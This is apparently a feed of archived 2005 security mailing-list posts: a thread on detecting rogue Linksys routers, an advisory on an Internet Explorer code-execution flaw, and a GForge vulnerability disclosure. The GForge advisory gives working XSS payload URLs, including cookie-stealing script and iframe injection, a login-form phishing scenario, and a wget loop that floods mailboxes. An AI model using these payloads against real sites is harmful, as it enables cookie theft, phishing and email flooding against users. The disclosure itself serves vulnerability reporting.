&lt;br&gt;&lt;br&gt;Apply this setup to the vlans supported by my dhcp servers:
&lt;br&gt;&lt;br&gt;vlan filter dhcpmap vlan-list 64-128,136-140,146,232
&lt;br&gt;&lt;br&gt;&lt;br&gt;The way this works it could result in blocking some traffic that you 
&lt;br&gt;really don't &amp;nbsp;want to (for example, if any of your users employ PIXIE to 
&lt;br&gt;load some of their machines). &amp;nbsp;If so, you will need to add the addresses 
&lt;br&gt;of those server machines to the filter as though they were official dhcp 
&lt;br&gt;servers - so that their bootpc traffic is not blocked.
&lt;br&gt;&lt;br&gt;Tony Rall
&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://www.nabble.com/Tool-for-Identifying-Rogue-Linksys-Routers-tp713441p726174.html" />
</entry>

<entry>
	<id>tag:www.nabble.com,2006:post-723745</id>
	<title>Re: Tool for Identifying Rogue Linksys Routers</title>
	<published>2005-08-26T13:29:11Z</published>
	<updated>2005-08-26T13:29:11Z</updated>
	<author>
		<name>Dave Hull</name>
	</author>
	<content type="html">If the Linksys devices are DHCP clients themselves, you might be able
&lt;br&gt;to use DHCPFingerprint to locate them when they renew their leases.
&lt;br&gt;&lt;br&gt;You may want to contact the folks at &lt;a href=&quot;http://www.packetfence.org&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.packetfence.org&lt;/a&gt;. They
&lt;br&gt;may have a more comprehensive list of signatures.
&lt;br&gt;&lt;br&gt;Also, nmap may work, see
&lt;br&gt;&lt;a href=&quot;http://seclists.org/lists/nmap-dev/2003/Apr-Jun/0010.html&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://seclists.org/lists/nmap-dev/2003/Apr-Jun/0010.html&lt;/a&gt;&amp;nbsp;for more
&lt;br&gt;details.
&lt;br&gt;&lt;br&gt;Examining TTLs of packets coming from edge devices may also give you
&lt;br&gt;some indication of who's sitting behind an extra hop, though some
&lt;br&gt;folks may be savvy enough to tweak this on their workstations to avoid
&lt;br&gt;detection.
&lt;br&gt;&lt;br&gt;Good luck.
&lt;br&gt;&lt;br&gt;On 8/25/05, Martin Mkrtchian &amp;lt;&lt;a href=&quot;http://www.nabble.com/user/SendEmail.jtp?type=post&amp;post=723745&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;dotsecure@...&lt;/a&gt;&amp;gt; wrote:
&lt;div class='shrinkable-quote'&gt;&lt;br&gt;&amp;gt; Dear Group Members
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; We are migrating from Lucent QIP to MetaIP for DHCP services and so
&lt;br&gt;&amp;gt; far we have had two issues when MetaIP has been implemented for &amp;nbsp;VLAN
&lt;br&gt;&amp;gt; that has an unauthorized Linksys router giving out IP addresses.
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; Is there a scanning tool out there that can determine if there are
&lt;br&gt;&amp;gt; unauthorized Linksys (type) routers in a specific VLAN?
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; Your input is appreciated
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; Thank You
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; Martin &amp;nbsp;M
&lt;br&gt;&amp;gt; &lt;a href=&quot;http://dotsecure.blogspot.com&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://dotsecure.blogspot.com&lt;/a&gt;&lt;br&gt;&amp;gt; 
&lt;/div&gt;&lt;br&gt;&lt;br&gt;-- 
&lt;br&gt;Dave Hull
&lt;br&gt;&lt;a href=&quot;http://www.nabble.com/user/SendEmail.jtp?type=post&amp;post=723745&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;ireadit@...&lt;/a&gt;
&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://www.nabble.com/Tool-for-Identifying-Rogue-Linksys-Routers-tp713441p723745.html" />
</entry>

<entry>
	<id>tag:www.nabble.com,2006:post-722428</id>
	<title>Re: Tool for Identifying Rogue Linksys Routers</title>
	<published>2005-08-26T07:31:45Z</published>
	<updated>2005-08-26T07:31:45Z</updated>
	<author>
		<name>Mike Frantzen</name>
	</author>
	<content type="html">&lt;br&gt;&amp;gt; Is there a scanning tool out there that can determine if there are
&lt;br&gt;&amp;gt; unauthorized Linksys (type) routers in a specific VLAN?
&lt;br&gt;&amp;nbsp;
&lt;br&gt;All linksys MACs will have an address with one of these prefixes:
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 00045A &amp;nbsp; &amp;nbsp; &amp;nbsp; The Linksys Group,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 000625 &amp;nbsp; &amp;nbsp; &amp;nbsp; The Linksys Group, In
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 000C41 &amp;nbsp; &amp;nbsp; &amp;nbsp; The Linksys Group, In
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 000F66 &amp;nbsp; &amp;nbsp; &amp;nbsp; Cisco-Linksys
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 001217 &amp;nbsp; &amp;nbsp; &amp;nbsp; Cisco-Linksys, LLC
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 001310 &amp;nbsp; &amp;nbsp; &amp;nbsp; Cisco-Linksys, LLC
&lt;br&gt;e.g.
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 00:04:5A:xx:xx:xx
&lt;br&gt;&lt;br&gt;&lt;br&gt;Plug a laptop into any worrisome network segments and look for a linksys
&lt;br&gt;MAC address. If the linksys routers talk IPv6:
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ping6 -w ff02:1%fxp0 &amp;nbsp; &amp;nbsp;(or %eth0 or whatever your interface is)
&lt;br&gt;Otherwise do a broadcast ping, a ping sweep, or whatever will tickle a
&lt;br&gt;linksys router.
&lt;br&gt;&lt;br&gt;(friendly reminder: the host's MAC address will not be preserved if the
&lt;br&gt;packet goes through a router)
&lt;br&gt;&lt;br&gt;.mike
&lt;br&gt;frantzen@(nfr.com | cvs.openbsd.org | w4g.org)
&lt;br&gt;PGP: &amp;nbsp;CC A4 E2 E8 0C F8 42 F0 &amp;nbsp;BC 26 85 5B 6F 9E ED 28
&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://www.nabble.com/Tool-for-Identifying-Rogue-Linksys-Routers-tp713441p722428.html" />
</entry>

<entry>
	<id>tag:www.nabble.com,2006:post-722523</id>
	<title>RE: Tool for Identifying Rogue Linksys Routers</title>
	<published>2005-08-25T15:52:15Z</published>
	<updated>2005-08-25T15:52:15Z</updated>
	<author>
		<name>Thomas Guyot-Sionnest</name>
	</author>
	<content type="html">The right way to fix that is to implement switch-level recurity. Limit the
&lt;br&gt;number of mac and IP address on each ports. No workstation should ever have
&lt;br&gt;more that one MAC and IP address...
&lt;br&gt;&lt;br&gt;If you don't have the budget for that kind of switch, I'd first try to
&lt;br&gt;identify open ports and try to recognize services on a linksys router. Nmap
&lt;br&gt;and telnet will be your best friends.
&lt;br&gt;&lt;br&gt;Thomas Guyot-Sionnest,
&lt;br&gt;Administrateur de systèmes
&lt;br&gt;Tél: (514) 842-7054
&lt;br&gt;Fax: (514) 221-3395
&lt;br&gt;Courriel: &lt;a href=&quot;http://www.nabble.com/user/SendEmail.jtp?type=post&amp;post=722523&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;thomas@...&lt;/a&gt; 
&lt;br&gt;&lt;div class='shrinkable-quote'&gt;&lt;div class='shrinkable-quote'&gt;&lt;br&gt;&amp;gt; -----Original Message-----
&lt;br&gt;&amp;gt; From: Martin Mkrtchian [mailto:&lt;a href=&quot;http://www.nabble.com/user/SendEmail.jtp?type=post&amp;post=722523&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;dotsecure@...&lt;/a&gt;] 
&lt;br&gt;&amp;gt; Sent: Thursday, August 25, 2005 14:49
&lt;br&gt;&amp;gt; To: Bugtraq; Full-Disclosure (E-mail)
&lt;br&gt;&amp;gt; Subject: Tool for Identifying Rogue Linksys Routers
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; Dear Group Members
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; We are migrating from Lucent QIP to MetaIP for DHCP services 
&lt;br&gt;&amp;gt; and so far we have had two issues when MetaIP has been 
&lt;br&gt;&amp;gt; implemented for &amp;nbsp;VLAN that has an unauthorized Linksys router 
&lt;br&gt;&amp;gt; giving out IP addresses.
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; Is there a scanning tool out there that can determine if 
&lt;br&gt;&amp;gt; there are unauthorized Linksys (type) routers in a specific VLAN?
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; Your input is appreciated 
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; Thank You
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; Martin &amp;nbsp;M
&lt;br&gt;&amp;gt; &lt;a href=&quot;http://dotsecure.blogspot.com&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://dotsecure.blogspot.com&lt;/a&gt;&lt;br&gt;&amp;gt; 
&lt;/div&gt;&lt;/div&gt;&lt;br /&gt; &lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://www.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;smime.p7s&lt;/strong&gt; (4K) &lt;a href=&quot;http://www.nabble.com/attachment/722523/0/smime.p7s&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://www.nabble.com/Tool-for-Identifying-Rogue-Linksys-Routers-tp713441p722523.html" />
</entry>

<entry>
	<id>tag:www.nabble.com,2006:post-722697</id>
	<title>Re: Tool for Identifying Rogue Linksys Routers</title>
	<published>2005-08-25T15:14:54Z</published>
	<updated>2005-08-25T15:14:54Z</updated>
	<author>
		<name>Joshua Wright</name>
	</author>
	<content type="html">-----BEGIN PGP SIGNED MESSAGE-----
&lt;br&gt;Hash: SHA1
&lt;br&gt;&lt;br&gt;Martin,
&lt;br&gt;&lt;br&gt;Martin Mkrtchian wrote:
&lt;br&gt;&amp;gt; Is there a scanning tool out there that can determine if there are
&lt;br&gt;&amp;gt; unauthorized Linksys (type) routers in a specific VLAN?
&lt;br&gt;&lt;br&gt;You can use the Nessus plugin 11026 (find_ap.nasl) to scan your network
&lt;br&gt;for open HTTP, SNMP and FTP servers. &amp;nbsp;Using Nmap fingerprinting and
&lt;br&gt;banner grabbing, this plugin does a decent job at finding rogue AP's
&lt;br&gt;that don't mind being found (e.g. they haven't been specifically
&lt;br&gt;configured to hide from administrators).
&lt;br&gt;&lt;br&gt;Alternatively, wireless-side analysis is the way to go to locate rogue
&lt;br&gt;AP's! &amp;nbsp;Kismet (www.kismetwireless.net), or a commercial tool will be
&lt;br&gt;helpful there.
&lt;br&gt;&lt;br&gt;- -Josh
&lt;br&gt;- --
&lt;br&gt;- -Joshua Wright
&lt;br&gt;&lt;a href=&quot;http://www.nabble.com/user/SendEmail.jtp?type=post&amp;post=722697&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;jwright@...&lt;/a&gt;
&lt;br&gt;&lt;br&gt;2005-2006 pgpkey: &lt;a href=&quot;http://802.11ninja.net/pgpkey.htm&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://802.11ninja.net/pgpkey.htm&lt;/a&gt;&lt;br&gt;fingerprint: F00E 7A42 8375 0C55 964F E5A4 4D2F 22F6 3658 A4BF
&lt;br&gt;&lt;br&gt;Today I stumbled across the world's largest hotspot. &amp;nbsp;The SSID is &amp;quot;linksys&amp;quot;.
&lt;br&gt;-----BEGIN PGP SIGNATURE-----
&lt;br&gt;Version: GnuPG v1.4.1 (MingW32)
&lt;br&gt;Comment: Using GnuPG with Thunderbird - &lt;a href=&quot;http://enigmail.mozdev.org&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://enigmail.mozdev.org&lt;/a&gt;&lt;br&gt;&lt;br&gt;iD8DBQFDDjTNTS8i9jZYpL8RAqbCAKCD7fGJk/tCRrPg8BfQ2p+tbC0zRgCg4ZLX
&lt;br&gt;u8D2UrPqEa2Q17fDiu8x0oM=
&lt;br&gt;=0/CO
&lt;br&gt;-----END PGP SIGNATURE-----
&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://www.nabble.com/Tool-for-Identifying-Rogue-Linksys-Routers-tp713441p722697.html" />
</entry>

<entry>
	<id>tag:www.nabble.com,2006:post-713441</id>
	<title>Tool for Identifying Rogue Linksys Routers</title>
	<published>2005-08-25T12:48:38Z</published>
	<updated>2005-08-25T12:48:38Z</updated>
	<author>
		<name>Martin Mkrtchian</name>
	</author>
	<content type="html">Dear Group Members
&lt;br&gt;&lt;br&gt;We are migrating from Lucent QIP to MetaIP for DHCP services and so
&lt;br&gt;far we have had two issues when MetaIP has been implemented for &amp;nbsp;VLAN
&lt;br&gt;that has an unauthorized Linksys router giving out IP addresses.
&lt;br&gt;&lt;br&gt;Is there a scanning tool out there that can determine if there are
&lt;br&gt;unauthorized Linksys (type) routers in a specific VLAN?
&lt;br&gt;&lt;br&gt;Your input is appreciated 
&lt;br&gt;&lt;br&gt;Thank You
&lt;br&gt;&lt;br&gt;Martin &amp;nbsp;M
&lt;br&gt;&lt;a href=&quot;http://dotsecure.blogspot.com&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://dotsecure.blogspot.com&lt;/a&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://www.nabble.com/Tool-for-Identifying-Rogue-Linksys-Routers-tp713441p713441.html" />
</entry>

<entry>
	<id>tag:www.nabble.com,2006:post-592218</id>
	<title>[VulnWatch] NSFOCUS SA2005-02 : Microsoft IE Devenum.dll COM Instantiation Remote Code Execution Vulnerability</title>
	<published>2005-08-09T21:02:01Z</published>
	<updated>2005-08-09T21:02:01Z</updated>
	<author>
		<name>NSFOCUS Security Team</name>
	</author>
	<content type="html">NSFOCUS Security Advisory(SA2005-02)
&lt;br&gt;&lt;br&gt;Topic: Microsoft IE Devenum.dll COM Instantiation Remote Code Execution Vulnerability
&lt;br&gt;&lt;br&gt;Release Date: 2005-08-10
&lt;br&gt;&lt;br&gt;CVE CAN ID: CAN-2005-1990
&lt;br&gt;&lt;br&gt;&lt;a href=&quot;http://www.nsfocus.com/english/homepage/research/0502.htm&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.nsfocus.com/english/homepage/research/0502.htm&lt;/a&gt;&lt;br&gt;&lt;br&gt;Affected systems &amp; software
&lt;br&gt;===========================
&lt;br&gt;&lt;br&gt;Microsoft Internet Explorer 5.01 SP4
&lt;br&gt;Microsoft Internet Explorer 5.5 SP2
&lt;br&gt;Microsoft Internet Explorer 6
&lt;br&gt;Microsoft Internet Explorer 6 SP1
&lt;br&gt;&lt;br&gt;Unaffected systems &amp; software
&lt;br&gt;=============================
&lt;br&gt;&lt;br&gt;&lt;br&gt;Description
&lt;br&gt;============
&lt;br&gt;&lt;br&gt;NSFocus Security Team discovered a security vulnerability in Microsoft Internet 
&lt;br&gt;Explorer. By crafting a malicious HTML page and alluring users to visit it, 
&lt;br&gt;a remote attacker can execute arbitrary code with the privilege of the user. 
&lt;br&gt;&lt;br&gt;Internet Explorer does not properly call interface arguments when instantiating
&lt;br&gt;COM component in devenum.dll, resulting in exceptional memory access which 
&lt;br&gt;might cause IE to crash. Carefully crafted HTML page might allow a remote 
&lt;br&gt;attacker to execute arbitrary code. 
&lt;br&gt;&lt;br&gt;Workaround
&lt;br&gt;=============
&lt;br&gt;&lt;br&gt;Disable ActiveX control in Internet Explorer.
&lt;br&gt;&lt;br&gt;Vendor Status
&lt;br&gt;==============
&lt;br&gt;&lt;br&gt;2005.07.13 &amp;nbsp;Informed the vendor.
&lt;br&gt;2005.07.16 &amp;nbsp;The vendor confirmed the vulnerability
&lt;br&gt;2005.08.09 &amp;nbsp;The vendor releases a security bulletin (MS05-038) and related 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; patches.
&lt;br&gt;&lt;br&gt;Detail Microsoft Security Bulletin is available at:
&lt;br&gt;&lt;a href=&quot;http://www.microsoft.com/technet/security/bulletin/MS05-038.mspx&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.microsoft.com/technet/security/bulletin/MS05-038.mspx&lt;/a&gt;&lt;br&gt;&lt;br&gt;Additional Information
&lt;br&gt;========================
&lt;br&gt;&lt;br&gt;The Common Vulnerabilities and Exposures (CVE) project has assigned the
&lt;br&gt;name CAN-2005-1990 to this issue. This is a candidate for inclusion in the 
&lt;br&gt;CVE list (&lt;a href=&quot;http://cve.mitre.org&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://cve.mitre.org&lt;/a&gt;), which standardizes names for security problems.
&lt;br&gt;Candidates may change significantly before they become official CVE entries.
&lt;br&gt;&lt;br&gt;Acknowledgment
&lt;br&gt;===============
&lt;br&gt;&lt;br&gt;Hu Qianwei of NSFOCUS Security Team found the vulnerability.
&lt;br&gt;&lt;br&gt;DISCLAIMS
&lt;br&gt;==========
&lt;br&gt;THE INFORMATION PROVIDED IS RELEASED BY NSFOCUS &amp;quot;AS IS&amp;quot; WITHOUT WARRANTY
&lt;br&gt;OF ANY KIND. NSFOCUS DISCLAIMS ALL WARRANTIES, EITHER EXPRESSED OR IMPLIED,
&lt;br&gt;EXCEPT FOR THE WARRANTIES OF MERCHANTABILITY. IN NO EVENT SHALL NSFOCUS
&lt;br&gt;BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT,
&lt;br&gt;INCIDENTAL,CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES,
&lt;br&gt;EVEN IF NSFOCUS HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
&lt;br&gt;DISTRIBUTION OR REPRODUCTION OF THE INFORMATION IS PROVIDED THAT THE
&lt;br&gt;ADVISORY IS NOT MODIFIED IN ANY WAY.
&lt;br&gt;&lt;br&gt;Copyright 1999-2005 NSFOCUS. All Rights Reserved. Terms of use.
&lt;br&gt;&lt;br&gt;&lt;br&gt;NSFOCUS Security Team &amp;lt;&lt;a href=&quot;http://www.nabble.com/user/SendEmail.jtp?type=post&amp;post=592218&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;security@...&lt;/a&gt;&amp;gt;
&lt;br&gt;NSFOCUS INFORMATION TECHNOLOGY CO.,LTD
&lt;br&gt;(&lt;a href=&quot;http://www.nsfocus.com&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.nsfocus.com&lt;/a&gt;)
&lt;br&gt;&lt;br&gt;PGP Key: &lt;a href=&quot;http://www.nsfocus.com/homepage/research/pgpkey.asc&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.nsfocus.com/homepage/research/pgpkey.asc&lt;/a&gt;&lt;br&gt;Key fingerprint = F8F2 F5D1 EF74 E08C 02FE 1B90 D7BF 7877 C6A6 F6DA
&lt;br&gt;&lt;br&gt;&lt;br /&gt; &lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://www.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;attachment0&lt;/strong&gt; (196 bytes) &lt;a href=&quot;http://www.nabble.com/attachment/592218/0/attachment0&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://www.nabble.com/-VulnWatch--NSFOCUS-SA2005-02-%3A-Microsoft-IE-Devenum.dll-COM-Instantiation-Remote-Code-Execution-Vulnerability-tp592218p592218.html" />
</entry>

<entry>
	<id>tag:www.nabble.com,2006:post-509628</id>
	<title>Cross Site Scripting vulnerabilities in GForge</title>
	<published>2005-07-27T14:37:16Z</published>
	<updated>2005-07-27T14:37:16Z</updated>
	<author>
		<name>joxeankoret</name>
	</author>
	<content type="html">---------------------------------------------------------------------------
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Various Vulnerabilities in GForge 
&lt;br&gt;---------------------------------------------------------------------------
&lt;br&gt;&lt;br&gt;Author: Jose Antonio Coret (Joxean Koret)
&lt;br&gt;Date: 2005
&lt;br&gt;Location: Basque Country
&lt;br&gt;&lt;br&gt;---------------------------------------------------------------------------
&lt;br&gt;&lt;br&gt;Affected software description:
&lt;br&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
&lt;br&gt;&lt;br&gt;GForge - 4.5 (Current)
&lt;br&gt;&lt;br&gt;GForge has tools to help your team collaborate, like message forums and 
&lt;br&gt;mailing lists; tools to create and control access to Source Code
&lt;br&gt;Management 
&lt;br&gt;repositories like CVS and Subversion. GForge automatically creates a
&lt;br&gt;repository 
&lt;br&gt;and controls access to it depending on the role settings of the project.
&lt;br&gt;&lt;br&gt;Web : &lt;a href=&quot;http://gforge.org/&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://gforge.org/&lt;/a&gt;&lt;br&gt;&lt;br&gt;---------------------------------------------------------------------------
&lt;br&gt;&lt;br&gt;A) Cross Site Scripting Vulnerabilities
&lt;br&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
&lt;br&gt;&lt;br&gt;1.- In the Forum Module:
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; http://[target]/forum/forum.php?forum_id=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('hi')&amp;lt;/script&amp;gt;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; http://[target]/forum/forum.php?group_id=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('hi')&amp;lt;/script&amp;gt;
&lt;br&gt;&lt;br&gt;(NOTE: The group_id parameter is ALWAYS vulnerable.)
&lt;br&gt;&lt;br&gt;2.- In the Task Module:
&lt;br&gt;&lt;br&gt;&lt;br&gt;http://[target]/pm/task.php?func=detailtask&amp;project_task_id=&amp;quot;&amp;gt;&amp;lt;h1&amp;gt;hi!&amp;lt;/h1&amp;gt;&amp;group_id=1&amp;group_project_id=3
&lt;br&gt;&lt;br&gt;3.- In the Snippets Module:
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; http://[target]/snippet/detail.php?type=snippet&amp;id=21&amp;quot;&amp;gt;&amp;lt;iframe%
&lt;br&gt;20src=&lt;a href=&quot;http://www.playboy.com&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.playboy.com&lt;/a&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;font%20size=&amp;quot;
&lt;br&gt;&lt;br&gt;4.- In the search engine:
&lt;br&gt;&lt;br&gt;To try it simply enter any valid XSS test such as &amp;quot;&amp;gt;&amp;lt;h1&amp;gt;hi!!!&amp;lt;/h1&amp;gt; in
&lt;br&gt;the 
&lt;br&gt;search field and press enter or try the following URL:
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; http://[target]/search/?type_of_search=soft&amp;words=%22%3E%3Ch1%3EHi%21%
&lt;br&gt;3C%2Fh1%3E%3Ciframe+src%3Dhttp%3A%2F%2Fslashdot.org%3E%3C%2Fiframe%
&lt;br&gt;3E&amp;Search=Search
&lt;br&gt;&lt;br&gt;5.- In other modules:
&lt;br&gt;&lt;br&gt;&lt;br&gt;http://[target]//frs/admin/qrs.php?group_id=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; http://[target]/notepad.php?form=parent;%0d%0a--&amp;gt;%0d%
&lt;br&gt;0a&amp;lt;/script&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;hi!&amp;lt;/h1&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&amp;lt;!--
&lt;br&gt;&lt;br&gt;NOTE: (rows, cols and wrap paremeter are also vulnerables).
&lt;br&gt;&lt;br&gt;6.- In the Login Form:
&lt;br&gt;&lt;br&gt;The login form is also vulnerable to XSS (Cross Site Scripting) attacks.
&lt;br&gt;This may
&lt;br&gt;be used to launch phising attacks by sending HTML e-mails (i.e.: saying
&lt;br&gt;that you need 
&lt;br&gt;to upgrade to the latest GForge version due to a security problem) and
&lt;br&gt;putting in the 
&lt;br&gt;e-mail an HTML link that points to an specially crafted url that inserts
&lt;br&gt;an html form 
&lt;br&gt;in the GForge login page and when the user press the login button,
&lt;br&gt;he/she send the 
&lt;br&gt;credentials to the attackers website.
&lt;br&gt;&lt;br&gt;POC. To &amp;quot;play&amp;quot; with this, simply go to the login page and insert in the
&lt;br&gt;login field 
&lt;br&gt;then following text: 
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;quot;&amp;gt;&amp;lt;iframe src=&lt;a href=&quot;http://www.playboy.com&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.playboy.com&lt;/a&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;font size=&amp;quot;
&lt;br&gt;&lt;br&gt;B) E-Mail Flood
&lt;br&gt;~~~~~~~~~~~~~~~
&lt;br&gt;&lt;br&gt;The 'forgot your password?' feature allows a remote user to load a
&lt;br&gt;certain URL to 
&lt;br&gt;cause the service to send a validation e-mail to the specified user's
&lt;br&gt;e-mail address. 
&lt;br&gt;There is no limit to the number of messages sent over a period of time,
&lt;br&gt;so a remote 
&lt;br&gt;user can flood the target user's secondary e-mail address. E-Mail Flood,
&lt;br&gt;E-Mail bomber.
&lt;br&gt;&lt;br&gt;The following is a &amp;quot;Proof Of Concept&amp;quot; of this vulnerability:
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; [joxean@nemobox]$ while [ true ]; do
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;gt;	wget http://[target]/account/lostpw.php?loginname=joxean
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;gt; done
&lt;br&gt;&lt;br&gt;The &amp;quot;pending account&amp;quot; confirmation e-mail is also vulnerable so, a
&lt;br&gt;mailicious user can
&lt;br&gt;flood any e-mail box even if they are not GForge registered users.
&lt;br&gt;&lt;br&gt;&lt;br&gt;The fix:
&lt;br&gt;~~~~~~~~
&lt;br&gt;&lt;br&gt;There is no fix at the moment.
&lt;br&gt;&lt;br&gt;&lt;br&gt;Workarounds:
&lt;br&gt;~~~~~~~~~~~~
&lt;br&gt;&lt;br&gt;There are no workarounds except by using a method to automagically catch
&lt;br&gt;the XSS
&lt;br&gt;request such as WASP (available via CVS at
&lt;br&gt;&lt;a href=&quot;https://savannah.nongnu.org/wasp&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;https://savannah.nongnu.org/wasp&lt;/a&gt;) or 
&lt;br&gt;mod_security (available at &lt;a href=&quot;http://www.modsecurity.org/&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.modsecurity.org/&lt;/a&gt;) for Apache Web
&lt;br&gt;Servers.
&lt;br&gt;&lt;br&gt;&lt;br&gt;Timeline:
&lt;br&gt;~~~~~~~~~
&lt;br&gt;&lt;br&gt;25-Apr-2005 Vendor contacted
&lt;br&gt;25-Apr-2005 Initial Vendor response (without interest on fixing bugs)
&lt;br&gt;25-Apr-2005 Response to vendor
&lt;br&gt;04-Jun-2005 One XSS bug (not discovered by me) closed without a fix
&lt;br&gt;23-Jun-2005 Vendor RE-contacted (No response)
&lt;br&gt;27-Jul-2005 Advisory released
&lt;br&gt;&lt;br&gt;Disclaimer:
&lt;br&gt;~~~~~~~~~~~
&lt;br&gt;&lt;br&gt;The information in this advisory and any of its demonstrations is
&lt;br&gt;provided
&lt;br&gt;&amp;quot;as is&amp;quot; without any warranty of any kind.
&lt;br&gt;&lt;br&gt;I am not liable for any direct or indirect damages caused as a result of
&lt;br&gt;using the information or demonstrations provided in any part of this
&lt;br&gt;advisory. 
&lt;br&gt;&lt;br&gt;---------------------------------------------------------------------------
&lt;br&gt;&lt;br&gt;Contact:
&lt;br&gt;~~~~~~~~
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Joxean Koret at joxeanpiti&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;@&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;yah00&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;dot&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;es
